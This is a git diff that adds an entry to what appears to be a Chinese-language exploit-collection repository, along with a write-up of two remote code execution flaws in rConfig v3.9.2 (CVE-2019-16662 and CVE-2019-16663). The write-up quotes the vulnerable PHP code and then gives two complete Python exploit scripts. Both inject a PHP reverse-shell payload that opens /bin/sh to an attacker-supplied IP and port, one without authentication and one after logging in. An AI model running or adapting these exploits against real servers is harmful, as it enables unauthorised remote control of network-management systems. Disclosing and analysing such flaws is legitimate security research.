diff --git a/README.md b/README.md
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--- a/README.md
+++ b/README.md
@@ -82,6 +82,7 @@
 - [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md)
 - [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar)
 - [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md)
+- [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md)
 
 ## 提权辅助相关
 
diff --git a/books/rConfig v3.9.2 RCE漏洞分析.pdf b/books/rConfig v3.9.2 RCE漏洞分析.pdf
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+## rConfig v3.9.2 RCE漏洞
+
+## 0x00 前言
+
+rConfig是一个开源网络设备配置管理解决方案，可以方便网络工程师快速、频繁管理网络设备快照。
+
+我在rConfig的两个文件中找到了两个远程命令执行（RCE）漏洞，第一个文件为`ajaxServerSettingsChk.php`，攻击者可以通过`rootUname`参数发送精心构造的一个GET请求，触发未授权RCE漏洞。`rootUname`参数在源文件第2行中定义，随后会在第13行传递给`exec`函数。攻击者可以将恶意系统命令插入该参数中，在目标服务器上执行。该漏洞利用和发现过程比较简单，下文中我将介绍如何发现并利用该漏洞。
+
+第二个漏洞位于`search.crud.php`文件中，存在RCE漏洞。攻击者可以发送精心构造的GET请求触发该漏洞，请求中包含两个参数，其中`searchTerm`参数可以包含任意值，但该参数必须存在，才能执行到第63行的`exec`函数。
+
+我像往常一样想寻找RCE漏洞，因此我使用自己开发的一个[python脚本](https://github.com/mhaskar/RCEScanner)来搜索所有不安全的函数。
+
+## 0x01 未授权RCE漏洞
+
+运行脚本后，我看到了一些输出结果。检查文件后，我发现有个文件名为`ajaxServerSettingsChk.php`，具体路径为`install/lib/ajaxHandlers/ajaxServerSettingsChk.php`，部分代码如下：
+
+```php
+<?php
+$rootUname = $_GET['rootUname'];    // line 2
+$array = array();
+/* check PHP Safe_Mode is off */
+if (ini_get('safe_mode')) {
+    $array['phpSafeMode'] = '&amp;amp;lt;strong&amp;amp;gt;&amp;amp;lt;font class=&amp;amp;quot;bad&amp;amp;quot;&amp;amp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/font&amp;amp;gt;br/&amp;amp;gt;';
+} else {
+    $array['phpSafeMode'] = '&amp;amp;lt;strong&amp;amp;gt;&amp;amp;lt;font class=&amp;amp;quot;Good&amp;amp;quot;&amp;amp;gt;Pass - php safe mode is off&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/font&amp;amp;gt;&amp;amp;lt;br/&amp;amp;gt;';
+}
+
+/* Test root account details */
+$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;amp;gt;&amp;amp;amp;1';    // line 12
+exec($rootTestCmd1, $cmdOutput, $err);    // line 13
+$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
+if ($homeDirPerms == '0777') {
+    $array['rootDetails'] = '&amp;amp;lt;strong&amp;amp;gt;&amp;amp;lt;font class=&amp;amp;quot;Good&amp;amp;quot;&amp;amp;gt;Pass - root account details are good &amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/font&amp;amp;gt;&amp;amp;lt;br/&amp;amp;gt;';
+} else {
+    $array['rootDetails'] = '&amp;amp;lt;strong&amp;amp;gt;&amp;amp;lt;font class=&amp;amp;quot;bad&amp;amp;quot;&amp;amp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/font&amp;amp;gt;&amp;amp;lt;br/&amp;amp;gt;';
+}
+// reset /home dir permissions
+$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;amp;gt;&amp;amp;amp;1';    // line 21
+exec($rootTestCmd2, $cmdOutput, $err);    // line 22
+
+echo json_encode($array);
+```
+
+## POC x1
+
+```python
+#!/usr/bin/python
+
+# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
+# Date: 18/09/2019
+# Exploit Author: Askar (@mohammadaskar2)
+# CVE : CVE-2019-16662
+# Vendor Homepage: https://rconfig.com/
+# Software link: https://rconfig.com/download
+# Version: v3.9.2
+# Tested on: CentOS 7.7 / PHP 7.2.22
+
+import requests
+import sys
+from urllib import quote
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+if len(sys.argv) != 4:
+    print "[+] Usage : ./exploit.py target ip port"
+    exit()
+
+target = sys.argv[1]
+
+ip = sys.argv[2]
+
+port = sys.argv[3]
+
+payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'#'''.format(ip, port))
+
+install_path = target + "/install"
+
+req = requests.get(install_path, verify=False)
+if req.status_code == 404:
+    print "[-] Installation directory not found!"
+    print "[-] Exploitation failed !"
+    exit()
+elif req.status_code == 200:
+    print "[+] Installation directory found!"
+url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
+
+print "[+] Triggering the payload"
+print "[+] Check your listener !"
+
+requests.get(url_to_send, verify=False)
+
+```
+
+## POC x2
+
+```python
+#!/usr/bin/python
+
+# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
+# Date: 18/09/2019
+# Exploit Author: Askar (@mohammadaskar2)
+# CVE : CVE-2019-16663
+# Vendor Homepage: https://rconfig.com/
+# Software link: https://rconfig.com/download
+# Version: v3.9.2
+# Tested on: CentOS 7.7 / PHP 7.2.22
+
+
+import requests
+import sys
+from urllib import quote
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+if len(sys.argv) != 6:
+    print "[+] Usage : ./exploit.py target username password ip port"
+    exit()
+
+target = sys.argv[1]
+
+username = sys.argv[2]
+
+password = sys.argv[3]
+
+ip = sys.argv[4]
+
+port = sys.argv[5]
+
+request = requests.session()
+
+login_info = {
+    "user": username,
+    "pass": password,
+    "sublogin": 1
+}
+
+login_request = request.post(
+    target+"/lib/crud/userprocess.php",
+     login_info,
+     verify=False,
+     allow_redirects=True
+ )
+
+dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
+
+
+if dashboard_request.status_code == 200:
+    print "[+] LoggedIn successfully"
+    payload = '''""&amp;&amp;php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'#'''.format(ip, port)
+    encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&amp;catCommand={0}".format(quote(payload))
+    print "[+] triggering the payload"
+    print "[+] Check your listener !"
+    exploit_req = request.get(encoded_request)
+
+elif dashboard_request.status_code == 302:
+    print "[-] Wrong credentials !"
+    exit()
+```
+
+### 原文： https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ 
+
+### 英译中： https://www.anquanke.com/post/id/189795 
+
+### PDF版本：[本地：rConfig v3.9.2 RCE漏洞分析.pdf](./books/rConfig%20v3.9.2%20RCE漏洞分析.pdf)
+